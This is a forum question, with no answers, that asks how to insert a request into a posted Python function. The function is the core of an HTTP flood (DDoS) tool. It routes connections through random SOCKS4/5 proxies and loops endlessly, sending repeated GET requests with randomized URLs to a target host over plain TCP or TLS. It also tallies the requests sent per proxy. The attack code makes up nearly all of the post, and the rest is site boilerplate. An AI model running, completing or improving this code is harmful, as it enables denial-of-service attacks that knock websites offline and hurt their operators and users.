Answer the question
In order to leave comments, you need to log in
How to insert a request?
def cc(event,socks_type,ind_rlock):
global ind_dict
header = GenReqHeader("get")
proxy = Choice(proxies).strip().split(":")
add = "?"
if "?" in path:
add = "&"
event.wait()
while True:
try:
s = socks.socksocket()
if socks_type == 4:
s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
if socks_type == 5:
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
if brute:
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target), int(port)))
if protocol == "https":
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s,server_hostname=target)
try:
for _ in range(multiple+1):
get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
request = get_host + header
sent = s.send(str.encode(request))
if not sent:
proxy = Choice(proxies).strip().split(":")
break
s.close()
except:
s.close()
ind_rlock.acquire()
ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
ind_rlock.release()
except:
s.close()
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question